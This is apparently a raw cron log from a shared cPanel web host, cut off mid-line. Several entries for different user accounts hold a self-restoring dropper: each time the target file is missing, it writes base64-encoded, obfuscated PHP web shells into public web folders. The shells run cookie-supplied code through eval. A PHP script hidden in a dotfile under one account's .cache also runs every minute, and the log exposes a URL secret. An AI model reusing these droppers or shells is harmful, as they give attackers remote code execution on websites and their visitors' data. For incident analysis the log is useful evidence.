Mar  1 18:20:02 medusa CROND[21256]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 18:20:02 medusa CROND[21257]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:20:02 medusa CROND[21258]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 18:20:02 medusa CROND[21267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:20:02 medusa CROND[21268]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 18:20:02 medusa CROND[21261]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 18:20:02 medusa CROND[21269]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 18:20:02 medusa CROND[21271]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 18:20:02 medusa CROND[21272]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 18:20:02 medusa CROND[21270]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 18:20:02 medusa CROND[21273]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:20:02 medusa CROND[21275]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:20:02 medusa CROND[21263]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 18:20:02 medusa CROND[21276]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:20:02 medusa CROND[21279]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:20:02 medusa CROND[21280]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 18:20:02 medusa CROND[21278]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 18:20:02 medusa CROND[21286]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:20:02 medusa CROND[21284]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 18:20:02 medusa CROND[21282]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 18:21:01 medusa CROND[13634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:21:01 medusa CROND[13685]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:21:01 medusa CROND[13702]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 18:21:01 medusa CROND[13704]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:21:01 medusa CROND[13756]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:21:01 medusa CROND[13760]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:21:01 medusa CROND[13762]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:21:01 medusa CROND[13761]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 18:21:01 medusa CROND[13767]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:21:01 medusa CROND[13769]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:21:01 medusa CROND[13771]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:21:01 medusa CROND[13773]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 18:21:01 medusa CROND[13774]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:21:01 medusa CROND[13765]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:22:01 medusa CROND[5585]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:22:01 medusa CROND[5652]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:22:01 medusa CROND[5653]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:22:01 medusa CROND[5654]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:22:01 medusa CROND[5655]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:22:01 medusa CROND[5657]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:22:01 medusa CROND[5658]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:22:01 medusa CROND[5660]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 18:22:01 medusa CROND[5662]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSA